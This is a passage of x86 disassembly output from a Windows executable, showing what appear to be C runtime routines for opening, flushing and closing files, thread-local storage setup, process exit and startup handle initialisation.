loc_408AEC:				; CODE XREF: sub_408AC0+Ej
		mov	eax, off_411370[ebx*4]
		cmp	word ptr [eax],	0
		jnz	short loc_408B07
		mov	esi, off_411370[ebx*4]
		mov	word ptr [esi],	0FF7Fh
		jmp	short loc_408B10
; ---------------------------------------------------------------------------


loc_408B07:				; CODE XREF: sub_408AC0+37j
		inc	ebx
		cmp	ebx, 100h
		jb	short loc_408AC6


loc_408B10:				; CODE XREF: sub_408AC0+1Cj
					; sub_408AC0+2Aj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_408AC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B20	proc near		; CODE XREF: sub_407300+45p

var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jnz	short loc_408B37
		xor	eax, eax
		jmp	loc_408C5B
; ---------------------------------------------------------------------------


loc_408B37:				; CODE XREF: sub_408B20+Ej
		mov	ax, [ebx]
		and	ax, 80h
		mov	[ebp+var_2], ax
		mov	edi, ebx
		mov	esi, offset dword_40FAE8
		mov	ecx, 13h
		rep movsd
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		lea	eax, [ebx+48h]
		mov	[ebx+10h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+14h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+2Ch], eax
		lea	eax, [ebx+48h]
		mov	[ebx+18h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+30h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+1Ch], eax
		lea	eax, [ebx+28h]
		mov	[ebx+20h], eax
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	72h
		jnz	short loc_408B91
		mov	[ebp+var_8], 1
		jmp	short loc_408BB8
; ---------------------------------------------------------------------------


loc_408B91:				; CODE XREF: sub_408B20+66j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	77h
		jnz	short loc_408BA2
		mov	[ebp+var_8], 1Ah
		jmp	short loc_408BB5
; ---------------------------------------------------------------------------


loc_408BA2:				; CODE XREF: sub_408B20+77j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	61h
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 16h
		mov	[ebp+var_8], eax


loc_408BB5:				; CODE XREF: sub_408B20+80j
		mov	eax, [ebp+var_8]


loc_408BB8:				; CODE XREF: sub_408B20+6Fj
		movzx	eax, [ebp+var_2]
		or	eax, [ebp+var_8]
		mov	[ebx], ax
		test	word ptr [ebx],	3
		jnz	short loc_408BFB
		push	ebx
		call	sub_407560
		pop	ecx
		xor	eax, eax
		jmp	loc_408C5B
; ---------------------------------------------------------------------------


loc_408BD7:				; CODE XREF: sub_408B20+E5j
					; sub_408B20+EDj
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	62h
		jnz	short loc_408BEC
		test	word ptr [ebx],	20h
		jnz	short loc_408C0F
		or	word ptr [ebx],	20h
		jmp	short loc_408BFB
; ---------------------------------------------------------------------------


loc_408BEC:				; CODE XREF: sub_408B20+BDj
		movzx	eax, word ptr [ebx]
		and	eax, 3
		cmp	eax, 3
		jz	short loc_408C0F
		or	word ptr [ebx],	3


loc_408BFB:				; CODE XREF: sub_408B20+A7j
					; sub_408B20+CAj
		mov	eax, [ebp+arg_4]
		inc	eax
		mov	[ebp+arg_4], eax
		cmp	byte ptr [eax],	62h
		jz	short loc_408BD7
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	2Bh
		jz	short loc_408BD7


loc_408C0F:				; CODE XREF: sub_408B20+C4j
					; sub_408B20+D5j
		cmp	[ebp+arg_0], 0
		jz	short loc_408C3D
		mov	eax, [ebp+arg_4]
		push	eax
		movzx	eax, word ptr [ebx]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40A5E0
		add	esp, 0Ch
		mov	[ebx+4], eax
		cmp	dword ptr [ebx+4], 0
		jge	short loc_408C54
		push	ebx
		call	sub_407560
		pop	ecx
		xor	eax, eax
		jmp	short loc_408C5B
; ---------------------------------------------------------------------------


loc_408C3D:				; CODE XREF: sub_408B20+F3j
		cmp	[ebp+arg_C], 0
		jge	short loc_408C4E
		push	ebx
		call	sub_407560
		pop	ecx
		xor	eax, eax
		jmp	short loc_408C5B
; ---------------------------------------------------------------------------


loc_408C4E:				; CODE XREF: sub_408B20+121j
		mov	eax, [ebp+arg_C]
		mov	[ebx+4], eax


loc_408C54:				; CODE XREF: sub_408B20+110j
		call	sub_407400
		mov	eax, ebx


loc_408C5B:				; CODE XREF: sub_408B20+12j
					; sub_408B20+B2j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408B20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408C70	proc near		; CODE XREF: sub_407400+4Dp

arg_0		= dword	ptr  4

		mov	eax, dword_4111A4
		cmp	dword_4111A0, eax
		ja	short loc_408C84
		call	sub_40A650
		jmp	short locret_408C9D
; ---------------------------------------------------------------------------


loc_408C84:				; CODE XREF: sub_408C70+Bj
		mov	eax, dword_4111A4
		lea	edx, [eax+1]
		mov	dword_4111A4, edx
		mov	edx, [esp+arg_0]
		mov	dword_411060[eax*4], edx

locret_408C9D:				; CODE XREF: sub_408C70+12j
		retn
sub_408C70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408CA0	proc near		; CODE XREF: sub_407480+8p
					; sub_407760+D0p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jnz	short loc_408CFE
		push	6
		call	sub_408740
		pop	ecx
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		jmp	short loc_408CE8
; ---------------------------------------------------------------------------


loc_408CC8:				; CODE XREF: sub_408CA0+4Fj
		mov	eax, [ebp+var_4]
		mov	eax, off_411370[eax*4]
		test	eax, eax
		jz	short loc_408CE5
		push	eax
		call	sub_408CA0
		pop	ecx
		test	eax, eax
		jge	short loc_408CE5
		or	[ebp+var_8], 0FFFFFFFFh


loc_408CE5:				; CODE XREF: sub_408CA0+34j
					; sub_408CA0+3Fj
		inc	[ebp+var_4]


loc_408CE8:				; CODE XREF: sub_408CA0+26j
		cmp	[ebp+var_4], 100h
		jl	short loc_408CC8
		push	6
		call	sub_4087C0
		pop	ecx
		mov	eax, [ebp+var_8]
		jmp	short loc_408D70
; ---------------------------------------------------------------------------


loc_408CFE:				; CODE XREF: sub_408CA0+Ej
		test	word ptr [ebx],	2000h
		jnz	short loc_408D09
		xor	eax, eax
		jmp	short loc_408D70
; ---------------------------------------------------------------------------


loc_408D09:				; CODE XREF: sub_408CA0+63j
		mov	esi, [ebx+8]
		jmp	short loc_408D45
; ---------------------------------------------------------------------------


loc_408D0E:				; CODE XREF: sub_408CA0+A8j
		mov	eax, [ebx+10h]
		sub	eax, esi
		push	eax
		push	esi
		mov	eax, [ebx+4]
		push	eax
		call	sub_40A860
		add	esp, 0Ch
		mov	edi, eax
		test	edi, edi
		jg	short loc_408D43
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		mov	[ebx+18h], eax
		mov	eax, [ebx+8]
		mov	[ebx+30h], eax
		or	word ptr [ebx],	200h
		or	eax, 0FFFFFFFFh
		jmp	short loc_408D70
; ---------------------------------------------------------------------------


loc_408D43:				; CODE XREF: sub_408CA0+85j
		add	esi, edi


loc_408D45:				; CODE XREF: sub_408CA0+6Cj
		cmp	esi, [ebx+10h]
		jb	short loc_408D0E
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		test	word ptr [ebx],	0C00h
		jz	short loc_408D5C
		mov	esi, [ebx+8]
		jmp	short loc_408D5F
; ---------------------------------------------------------------------------


loc_408D5C:				; CODE XREF: sub_408CA0+B5j
		mov	esi, [ebx+0Ch]


loc_408D5F:				; CODE XREF: sub_408CA0+BAj
		test	word ptr [ebx],	4000h
		jz	short loc_408D6B
		mov	[ebx+18h], esi
		jmp	short loc_408D6E
; ---------------------------------------------------------------------------


loc_408D6B:				; CODE XREF: sub_408CA0+C4j
		mov	[ebx+30h], esi


loc_408D6E:				; CODE XREF: sub_408CA0+C9j
		xor	eax, eax


loc_408D70:				; CODE XREF: sub_408CA0+5Cj
					; sub_408CA0+67j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408CA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408D80	proc near		; CODE XREF: sub_408E20+41p
					; sub_40B8E0+328p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	sub_40AB60
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408DCF
		cmp	ebx, 1
		jz	short loc_408DA3
		cmp	ebx, 2
		jnz	short loc_408DBD


loc_408DA3:				; CODE XREF: sub_408D80+1Cj
		push	1
		call	sub_40AB60
		pop	ecx
		mov	[ebp+var_4], eax
		push	2
		call	sub_40AB60
		pop	ecx
		mov	edx, [ebp+var_4]
		cmp	edx, eax
		jz	short loc_408DCF


loc_408DBD:				; CODE XREF: sub_408D80+21j
		push	ebx
		call	sub_40AB60
		pop	ecx
		push	eax
		call	dword_411CF8	; CloseHandle
		test	eax, eax
		jz	short loc_408DD3


loc_408DCF:				; CODE XREF: sub_408D80+17j
					; sub_408D80+3Bj
		xor	esi, esi
		jmp	short loc_408DDB
; ---------------------------------------------------------------------------


loc_408DD3:				; CODE XREF: sub_408D80+4Dj
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	esi, eax


loc_408DDB:				; CODE XREF: sub_408D80+51j
		push	ebx
		call	sub_40AA10
		pop	ecx
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	byte ptr [edx+eax+4], 0
		test	esi, esi
		jz	short loc_408E0B
		push	esi
		call	sub_408240
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_408E0D
; ---------------------------------------------------------------------------


loc_408E0B:				; CODE XREF: sub_408D80+7Dj
		xor	eax, eax


loc_408E0D:				; CODE XREF: sub_408D80+89j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408D80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408E20	proc near		; CODE XREF: sub_407480+30p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		cmp	ebx, dword_413A88
		jnb	short loc_408E49
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_408E59


loc_408E49:				; CODE XREF: sub_408E20+Cj
		call	sub_4083A0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_408E72
; ---------------------------------------------------------------------------


loc_408E59:				; CODE XREF: sub_408E20+27j
		push	ebx
		call	sub_40AC80
		pop	ecx
		push	ebx
		call	sub_408D80
		pop	ecx
		mov	esi, eax
		push	ebx
		call	sub_40ACE0
		pop	ecx
		mov	eax, esi


loc_408E72:				; CODE XREF: sub_408E20+37j
		pop	esi
		pop	ebx
		retn
sub_408E20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408E80	proc near		; CODE XREF: sub_4076C0+39p
					; sub_4087E0+102p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	eax, [esp+arg_4]
		mov	dl, al
		jmp	short loc_408E95
; ---------------------------------------------------------------------------


loc_408E8C:				; CODE XREF: sub_408E80+17j
		cmp	byte ptr [ecx],	0
		jnz	short loc_408E94
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_408E94:				; CODE XREF: sub_408E80+Fj
		inc	ecx


loc_408E95:				; CODE XREF: sub_408E80+Aj
		cmp	[ecx], dl
		jnz	short loc_408E8C
		mov	eax, ecx
		retn
sub_408E80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EA0	proc near		; CODE XREF: sub_407760+3Dp
					; sub_40CE00+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+18h]
		cmp	eax, [ebx+10h]
		jbe	short loc_408EB9
		xor	eax, eax
		jmp	loc_408F92
; ---------------------------------------------------------------------------


loc_408EB9:				; CODE XREF: sub_408EA0+10j
		movzx	eax, word ptr [ebx]
		and	eax, 9002h
		cmp	eax, 2
		jz	short loc_408EF5
		movzx	eax, word ptr [ebx]
		mov	[ebp+var_4], eax
		test	eax, 8000h
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 4000h
		add	eax, 200h
		mov	edx, [ebp+var_4]
		or	edx, eax
		mov	ax, dx
		mov	[ebx], ax
		or	eax, 0FFFFFFFFh
		jmp	loc_408F92
; ---------------------------------------------------------------------------


loc_408EF5:				; CODE XREF: sub_408EA0+24j
		movzx	eax, word ptr [ebx]
		and	eax, 6000h
		cmp	eax, 6000h
		jnz	short loc_408F1C
		mov	eax, [ebx+0Ch]
		cmp	eax, [ebx+10h]
		ja	short loc_408F1C
		push	ebx
		call	sub_408CA0
		pop	ecx
		test	eax, eax
		jz	short loc_408F1C
		or	eax, 0FFFFFFFFh
		jmp	short loc_408F92
; ---------------------------------------------------------------------------


loc_408F1C:				; CODE XREF: sub_408EA0+62j
					; sub_408EA0+6Aj ...
		test	word ptr [ebx],	0C00h
		jnz	short loc_408F2B
		lea	eax, [ebx+48h]
		cmp	eax, [ebx+8]
		jz	short loc_408F2D


loc_408F2B:				; CODE XREF: sub_408EA0+81j
		jmp	short loc_408F7F
; ---------------------------------------------------------------------------


loc_408F2D:				; CODE XREF: sub_408EA0+89j
		push	200h
		call	sub_4081A0
		pop	ecx
		mov	[ebx+8], eax
		test	eax, eax
		jnz	short loc_408F59
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		inc	eax
		mov	[ebx+0Ch], eax
		call	sub_407400
		jmp	short loc_408F7F
; ---------------------------------------------------------------------------


loc_408F59:				; CODE XREF: sub_408EA0+9Dj
		or	word ptr [ebx],	40h
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		add	eax, 200h
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+8]
		mov	[ebx+2Ch], eax
		mov	eax, [ebx+8]
		mov	[ebx+30h], eax
		call	sub_407400


loc_408F7F:				; CODE XREF: sub_408EA0:loc_408F2Bj
					; sub_408EA0+B7j
		mov	eax, [ebx+8]
		mov	[ebx+14h], eax
		mov	eax, [ebx+0Ch]
		mov	[ebx+18h], eax
		or	word ptr [ebx],	6000h
		xor	eax, eax


loc_408F92:				; CODE XREF: sub_408EA0+14j
					; sub_408EA0+50j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408EA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408FA0	proc near		; CODE XREF: sub_407760+59p
					; sub_409C30+696p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		mov	bl, al
		mov	edx, [esp+4+arg_0]
		jmp	short loc_408FBB
; ---------------------------------------------------------------------------


loc_408FB1:				; CODE XREF: sub_408FA0+1Dj
		cmp	[edx], bl
		jnz	short loc_408FB9
		mov	eax, edx
		jmp	short loc_408FC1
; ---------------------------------------------------------------------------


loc_408FB9:				; CODE XREF: sub_408FA0+13j
		inc	edx
		dec	ecx


loc_408FBB:				; CODE XREF: sub_408FA0+Fj
		test	ecx, ecx
		jnz	short loc_408FB1
		xor	eax, eax


loc_408FC1:				; CODE XREF: sub_408FA0+17j
		pop	ebx
		retn
sub_408FA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408FD0	proc near		; CODE XREF: sub_407AA0:loc_407AE7p
		push	ebx
		call	sub_4086A0
		call	dword_411DD4	; TlsAlloc
		mov	dword_411770, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408FEC
		xor	eax, eax
		jmp	short loc_409027
; ---------------------------------------------------------------------------


loc_408FEC:				; CODE XREF: sub_408FD0+16j
		push	48h
		call	sub_4081A0
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_40900B
		push	ebx
		mov	eax, dword_411770
		push	eax
		call	dword_411D98	; TlsSetValue
		test	eax, eax
		jnz	short loc_40900F


loc_40900B:				; CODE XREF: sub_408FD0+28j
		xor	eax, eax
		jmp	short loc_409027
; ---------------------------------------------------------------------------


loc_40900F:				; CODE XREF: sub_408FD0+39j
		push	ebx
		call	sub_409060
		pop	ecx
		call	dword_411DD8	; GetCurrentThreadId
		mov	[ebx], eax
		or	dword ptr [ebx+4], 0FFFFFFFFh
		mov	eax, 1


loc_409027:				; CODE XREF: sub_408FD0+1Aj
					; sub_408FD0+3Dj
		pop	ebx
		retn
sub_408FD0	endp

; ---------------------------------------------------------------------------
		align 10h
		call	sub_4086E0
		cmp	dword_411770, 0FFFFFFFFh
		jz	short locret_409054
		mov	eax, dword_411770
		push	eax
		call	dword_411DDC	; TlsFree
		or	dword_411770, 0FFFFFFFFh

locret_409054:				; CODE XREF: DMN0:0040903Fj
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409060	proc near		; CODE XREF: sub_407910+17p
					; sub_408FD0+40p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		mov	edx, ebx
		mov	ecx, 48h
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx
		mov	dword ptr [ebx+34h], offset dword_4117E4
		mov	dword ptr [ebx+10h], 1
		pop	ebx
		retn
sub_409060	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409090	proc near		; CODE XREF: sub_4079A0+1p sub_4083A0p ...
		push	ebx
		push	esi
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	esi, eax
		mov	eax, dword_411770
		push	eax
		call	dword_411DE0	; TlsGetValue
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_4090E8
		push	48h
		call	sub_4081A0
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4090E0
		push	ebx
		mov	eax, dword_411770
		push	eax
		call	dword_411D98	; TlsSetValue
		test	eax, eax
		jz	short loc_4090E0
		push	ebx
		call	sub_409060
		pop	ecx
		call	dword_411DD8	; GetCurrentThreadId
		mov	[ebx], eax
		or	dword ptr [ebx+4], 0FFFFFFFFh
		jmp	short loc_4090E8
; ---------------------------------------------------------------------------


loc_4090E0:				; CODE XREF: sub_409090+28j
					; sub_409090+39j
		push	1
		call	sub_409190
		pop	ecx


loc_4090E8:				; CODE XREF: sub_409090+1Aj
					; sub_409090+4Ej
		push	esi
		call	dword_411D14	; RtlRestoreLastWin32Error
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_409090	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409100	proc near		; CODE XREF: sub_4079A0+28p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	dword_411770, 0FFFFFFFFh
		jz	short loc_40918C
		test	ebx, ebx
		jnz	short loc_409123
		mov	eax, dword_411770
		push	eax
		call	dword_411DE0	; TlsGetValue
		mov	ebx, eax


loc_409123:				; CODE XREF: sub_409100+13j
		test	ebx, ebx
		jz	short loc_40917E
		mov	eax, [ebx+20h]
		push	eax
		call	sub_4070F0
		pop	ecx
		mov	eax, [ebx+24h]
		push	eax
		call	sub_4070F0
		pop	ecx
		mov	eax, [ebx+28h]
		push	eax
		call	sub_4070F0
		pop	ecx
		mov	eax, [ebx+2Ch]
		push	eax
		call	sub_4070F0
		pop	ecx
		mov	eax, [ebx+30h]
		push	eax
		call	sub_4070F0
		pop	ecx
		mov	eax, [ebx+34h]
		cmp	eax, offset dword_4117E4
		jz	short loc_40916D
		mov	eax, [ebx+34h]
		push	eax
		call	sub_4070F0
		pop	ecx


loc_40916D:				; CODE XREF: sub_409100+61j
		mov	eax, [ebx+3Ch]
		push	eax
		call	sub_4070F0
		pop	ecx
		push	ebx
		call	sub_4070F0
		pop	ecx


loc_40917E:				; CODE XREF: sub_409100+25j
		push	0
		mov	eax, dword_411770
		push	eax
		call	dword_411D98	; TlsSetValue


loc_40918C:				; CODE XREF: sub_409100+Fj
		pop	ebx
		retn
sub_409100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409190	proc near		; CODE XREF: sub_407870+3Cp
					; sub_407870+7Ap ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	dword_411D30	; ExitProcess
		retn
sub_409190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4091A0	proc near		; CODE XREF: sub_407870+6Ap
					; sub_407AA0+F7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	esi, offset dword_411774
		jmp	short loc_4091F2
; ---------------------------------------------------------------------------


loc_4091AE:				; CODE XREF: sub_4091A0+58j
		cmp	[esi], ebx
		jnz	short loc_4091EF
		push	1
		mov	eax, [esi+4]
		push	eax
		call	sub_40AD50
		add	esp, 8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4091CE
		test	edi, edi
		jnz	short loc_4091D0


loc_4091CE:				; CODE XREF: sub_4091A0+28j
		jmp	short loc_4091FA
; ---------------------------------------------------------------------------


loc_4091D0:				; CODE XREF: sub_4091A0+2Cj
		cmp	edi, 1
		jz	short loc_4091EA
		push	0
		mov	eax, [esi+4]
		push	eax
		call	sub_40AD50
		add	esp, 8
		mov	eax, [esi+4]
		push	eax
		call	edi
		pop	ecx


loc_4091EA:				; CODE XREF: sub_4091A0+33j
		or	eax, 0FFFFFFFFh
		jmp	short loc_409205
; ---------------------------------------------------------------------------


loc_4091EF:				; CODE XREF: sub_4091A0+10j
		add	esi, 8


loc_4091F2:				; CODE XREF: sub_4091A0+Cj
		cmp	esi, offset dword_4117C4
		jb	short loc_4091AE


loc_4091FA:				; CODE XREF: sub_4091A0:loc_4091CEj
		mov	eax, [esp+0Ch+arg_4]
		push	eax
		call	dword_411DE4	; UnhandledExceptionFilter


loc_409205:				; CODE XREF: sub_4091A0+4Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4091A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409210	proc near		; CODE XREF: sub_407A90+5p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	dword_411D18	; DeleteFileA
		test	eax, eax
		jnz	short loc_409230
		call	dword_411CE8	; RtlGetLastWin32Error
		push	eax
		call	sub_408240
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_409230:				; CODE XREF: sub_409210+Dj
		xor	eax, eax
		retn
sub_409210	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409240	proc near		; CODE XREF: sub_407AA0+5Fp
		push	offset dword_412854
		call	dword_411DE8	; GetSystemTimeAsFileTime
		retn
sub_409240	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		lea	eax, [ebp-8]
		push	eax
		call	dword_411DE8	; GetSystemTimeAsFileTime
		mov	eax, [ebp-8]
		mov	edx, [ebp-4]
		mov	ecx, dword_412854
		mov	ebx, dword_412858
		sub	eax, ecx
		sbb	edx, ebx
		mov	[ebp-8], eax
		mov	[ebp-4], edx
		mov	eax, [ebp-8]
		mov	edx, [ebp-4]
		push	edx
		push	eax
		push	0
		push	2710h
		call	sub_40AE40
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4092A0	proc near		; CODE XREF: sub_407AA0+64p

var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		push	480h
		call	sub_4081A0
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_4092C2
		push	1
		call	sub_409190
		pop	ecx


loc_4092C2:				; CODE XREF: sub_4092A0+18j
		mov	dword_413988, ebx
		mov	dword_413A88, 20h
		jmp	short loc_4092EC
; ---------------------------------------------------------------------------


loc_4092D4:				; CODE XREF: sub_4092A0+58j
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_4092EC:				; CODE XREF: sub_4092A0+32j
		mov	eax, dword_413988
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_4092D4
		lea	eax, [ebp+var_58]
		push	eax
		call	dword_411DA8	; GetStartupInfoA
		cmp	[ebp+var_26], 0
		jz	loc_409412
		cmp	[ebp+var_24], 0
		jz	loc_409412
		mov	eax, [ebp+var_24]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_24]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_4]
		add	edx, eax
		mov	[ebp+var_8], edx
		cmp	eax, 800h
		jle	short loc_409343
		mov	[ebp+var_10], 800h


loc_409343:				; CODE XREF: sub_4092A0+9Aj
		mov	esi, 1
		jmp	short loc_40939E
; ---------------------------------------------------------------------------


loc_40934A:				; CODE XREF: sub_4092A0+107j
		push	480h
		call	sub_4081A0
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_409365
		mov	eax, dword_413A88
		mov	[ebp+var_10], eax
		jmp	short loc_4093A9
; ---------------------------------------------------------------------------


loc_409365:				; CODE XREF: sub_4092A0+B9j
		mov	dword_413988[esi*4], ebx
		add	dword_413A88, 20h
		jmp	short loc_40938D
; ---------------------------------------------------------------------------


loc_409375:				; CODE XREF: sub_4092A0+FBj
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_40938D:				; CODE XREF: sub_4092A0+D3j
		mov	eax, dword_413988[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_409375
		inc	esi


loc_40939E:				; CODE XREF: sub_4092A0+A8j
		mov	eax, [ebp+var_10]
		cmp	dword_413A88, eax
		jl	short loc_40934A


loc_4093A9:				; CODE XREF: sub_4092A0+C3j
		xor	edi, edi
		jmp	short loc_40940D
; ---------------------------------------------------------------------------


loc_4093AD:				; CODE XREF: sub_4092A0+170j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_409400
		mov	edx, [ebp+var_4]
		movzx	edx, byte ptr [edx]
		test	edx, 1
		jz	short loc_409400
		test	edx, 8
		jnz	short loc_4093DA
		push	eax
		call	dword_411DEC	; GetFileType
		test	eax, eax
		jz	short loc_409400


loc_4093DA:				; CODE XREF: sub_4092A0+12Dj
		mov	eax, edi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, edi
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	ebx, [edx+eax]
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebx], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		mov	[ebx+4], al


loc_409400:				; CODE XREF: sub_4092A0+117j
					; sub_4092A0+125j ...
		inc	edi
		inc	[ebp+var_4]
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_40940D:				; CODE XREF: sub_4092A0+10Bj
		cmp	edi, [ebp+var_10]
		jl	short loc_4093AD


loc_409412:				; CODE XREF: sub_4092A0+69j
					; sub_4092A0+73j
		xor	edi, edi


loc_409414:				; CODE XREF: sub_4092A0+23Ej
		imul	eax, edi, 24h
